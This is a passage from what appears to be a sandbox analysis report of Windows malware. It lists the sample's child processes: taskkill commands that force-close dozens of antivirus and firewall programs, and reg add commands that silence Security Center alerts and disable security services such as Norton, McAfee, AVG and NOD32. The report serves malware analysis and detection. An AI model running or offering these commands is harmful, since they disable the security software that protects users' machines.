  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im tds2 -98.exe
      4⤵
      PID:1220
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im tds2 -nt.exe
      4⤵
      PID:1948
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im tfak.exe
      4⤵
      PID:540
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im tfak5.exe
      4⤵
      PID:980
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im tgbob.exe
      4⤵
      PID:1908
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im trendmicro.exe
      4⤵
      PID:2016
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im trjscan.exe
      4⤵
      PID:2012
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im trojantrap3.exe
      4⤵
      PID:1100
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im TrueVector.exe
      4⤵
      PID:1204
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im undoboot.exe
      4⤵
      PID:1568
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im update.exe
      4⤵
      PID:1640
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vbcmserv.exe
      4⤵
      PID:1728
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vbcons.exe
      4⤵
      PID:392
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vbust.exe
      4⤵
      PID:1744
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vbwin9x.exe
      4⤵
      PID:2024
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vbwinntw.exe
      4⤵
      PID:1128
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vccmserv.exe
      4⤵
      PID:2044
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vcontrol.exe
      4⤵
      PID:432
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vet32.exe
      4⤵
      PID:1416
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vet95.exe
      4⤵
      PID:1524
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vettray.exe
      4⤵
      Kills process with taskkill
      PID:1704
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vir -help.exe
      4⤵
      PID:1412
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im virus.exe
      4⤵
      PID:1220
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im virusmdpersonalfirewall.exe
      4⤵
      PID:692
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vnlan300.exe
      4⤵
      PID:552
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vnpc3000.exe
      4⤵
      PID:832
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vpc32.exe
      4⤵
      PID:1836
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vpfw30s.exe
      4⤵
      PID:1428
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vptray.exe
      4⤵
      PID:1696
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vscan40.exe
      4⤵
      PID:1564
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vsched.exe
      4⤵
      PID:1108
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vsecomr.exe
      4⤵
      PID:1516
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vshwin32.exe
      4⤵
      PID:1548
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vshwin32vbcmserv.exe
      4⤵
      PID:1092
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vsmain.exe
      4⤵
      PID:1216
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vsmon.exe
      4⤵
      PID:1604
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vsstat.exe
      4⤵
      PID:1780
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vswin9xe.exe
      4⤵
      PID:892
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im vswinntse.exe
      4⤵
      Kills process with taskkill
      PID:952
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im w9x.exe
      4⤵
      PID:900
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im watchdog.exe
      4⤵
      PID:2036
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im webscanx.exe
      4⤵
      PID:1544
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im webtrap.exe
      4⤵
      PID:560
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im wfindv32.exe
      4⤵
      PID:1828
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im wgfe95.exe
      4⤵
      PID:1208
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im whoswatchingme.exe
      4⤵
      PID:476
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im wimmun32.exe
      4⤵
      PID:324
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im winrecon.exe
      4⤵
      PID:1596
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im winroute.exe
      4⤵
      Kills process with taskkill
      PID:1820
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im winsfcm.exe
      4⤵
      Kills process with taskkill
      PID:1320
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im wnt.exe
      4⤵
      PID:1992
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im wqkmm3878.exe
      4⤵
      PID:1972
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im wradmin.exe
      4⤵
      PID:1472
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im wrctrl.exe
      4⤵
      PID:1660
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im wsbgate.exe
      4⤵
      PID:1608
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im wyvernworksfirewall.exe
      4⤵
      PID:1504
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im zapro.exe
      4⤵
      PID:1292
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im zatutor.exe
      4⤵
      PID:2000
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im zauinst.exe
      4⤵
      PID:1632
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im zonealarm.exe
      4⤵
      PID:1224
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\software\microsoft\security center" /v AntiVirusDisableNotify /t REG_DWORD /d 4 /f
      4⤵
      Windows security bypass
      PID:756
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\software\microsoft\security center" /v AntiVirusOverride /t REG_DWORD /d 4 /f
      4⤵
      Windows security bypass
      PID:1524
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\software\microsoft\security center" /v FirewallDisableNotify /t REG_DWORD /d 4 /f
      4⤵
      Windows security bypass
      PID:1648
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\software\microsoft\security center" /v FirewallOverride /t REG_DWORD /d 4 /f
      4⤵
      Windows security bypass
      PID:1412
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\software\microsoft\security center" /v FirstRunDisabled /t REG_DWORD /d 4 /f
      4⤵
      PID:1776
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\software\microsoft\security center" /v UpdatesDisableNotify /t REG_DWORD /d 4 /f
      4⤵
      Windows security bypass
      PID:1532
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\SharedAcce ss" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1544
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\SharedAcce ss" /v ErrorControl /t REG_DWORD /d 4 /f
      4⤵
      PID:1220
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\SharedAcce ss" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1948
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\SharedAcce ss" /v ErrorControl /t REG_DWORD /d 4 /f
      4⤵
      PID:1540
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\SharedAcce ss" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1088
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\SharedAcce ss" /v ErrorControl /t REG_DWORD /d 4 /f
      4⤵
      PID:692
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\AVPCC" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:540
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\AVPCC" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1828
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\AVPCC" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:552
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\Amon" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:924
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\Amon" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:848
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\Amon" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1668
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\Apvxd" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:832
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\Apvxd" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1908
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\Apvxd" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:476
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\Apvxdwin" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1528
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\Apvxdwin" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:2016
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\Apvxdw in" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1920
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\Atrack" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1808
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\Atrack" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1924
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\Atrack " /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:2012
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\AvconsoleE XE" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1596
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\AvconsoleE XE" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1696
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\AvconsoleE XE" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:996
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\AVG_CC" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1996
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\AVG_CC" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1564
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\AVG_CC " /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1476
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\avgcc32" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1204
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\avgcc32" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1320
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\avgcc3 2" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1584
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\avgserv9" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1784
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\avgserv9" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1212
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\avgser v9" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1676
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\AVPCC Service" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:804
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\AVPCC Service" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1640
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\AVPCC Service" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1972
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\BlackIce Utility" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1060
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\BlackIce Utility" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:772
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\BlackI ce Utility" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1624
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\CcApp" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1144
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\CcApp" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1752
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\CcApp" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:392
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\CcRegVfy" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1660
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\CcApp" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1216
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\CcApp" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1880
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\ConfigSafe " /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1744
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\ConfigSafe " /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1608
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\ConfigSafe " /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1188
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\CPD_EXE" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1844
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\CPD_EXE" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1124
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\CPD_EX E" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1780
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\Defwatch" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:992
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\Defwatch" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1496
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\Defwat ch" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1292
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\dvpapi9x" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1724
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\dvpapi9x" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:360
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\dvpapi 9x" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:2044
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\Fix-it" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1764
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\Fix-it" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:952
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\Fix-it" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1988
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\Fix-it AV" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1632
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\Fix-it AV" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:900
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\Fix-it AV" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:364
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\Freedom" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1416
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\Freedom" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:824
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\Freedo m" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1932
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\F-StopW" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:2036
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\F-StopW" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1688
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\F-StopW" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1704
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\iamapp" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1072
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\iamapp" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1432
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\iamapp " /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1536
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\Look 'n' Stop" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1140
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\Look 'n' Stop" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:560
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\Look 'n' Stop" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:864
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\McAfee Firewall" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1840
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\McAfee Firewall" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1480
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\McAfee Firewall" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1300
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\McAfee Winguage" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:776
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\McAfee Firewall" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:980
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\McAfee Firewall" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1208
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\McAfee.Instant Update.Monitor" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:856
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\McAfee.Instant Update.Monitor" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:624
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\McAfee.Ins tantUpdate.Monitor" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1928
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\McAfeeVirusSca nService" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1836
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\McAfeeVirusSca nService" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1028
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\McAfeeViru sScanService" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1592
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\NAV Agent" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:324
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\NAV Agent" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1428
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\NAV Agent" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1600
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\NAV Configuration Wizard" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1968
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\NAV Configuration Wizard" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1628
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\NAV Configuration Wizard" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1916
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\NAV DefAlert" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1100
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\NAV Configuration Wizard" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1820
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\NAV Configuration Wizard" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1120
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\Nod32CC" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:2008
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\Nod32CC" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1984
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\CURRENTcontrolset\services\Nod32C C" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1108
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\NOD32POP3" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:928
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\NOD32POP3" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1568
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\NOD32P OP3" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1992
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\Norton Auto-Protect" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1516
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\Norton Auto-Protect" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1512
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\Norton Auto-Protect" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:828
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\Norton eMail Protect" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1468
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\Norton eMail Protect" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1548
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\Norton eMail Protect" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1728
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\Norton Navigaton Loader" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1472
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\Norton Navigaton Loader" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1092
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\Norton Navigaton Loader" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1056
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\Norton Program Scheduler" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1000
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\Norton Program Scheduler" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:604
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\Norton Program Scheduler" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1168
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\Norton Program Event Checker" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1240
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\Norton Program Event Checker" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1652
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\Norton Program Event Checker" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:2020
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\NPS Event Checker" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1604
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\NPS Event Checker" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1844
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\NPS Event Checker" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1124
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\Panda Scheduler" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1780
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\Panda Scheduler" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:992
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\Panda Scheduler" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1496
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\ScanInicio " /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1292
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\ScanInicio " /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1724
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\ScanInicio " /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:360
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset001\services\SymTray - Norton SystemWorks" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:2044
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\controlset002\services\SymTray - Norton SystemWorks" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1764
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\system\currentcontrolset\services\SymTra y - Norton SystemWorks" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:952
  - - C:\Windows\SysWOW64\reg.exe
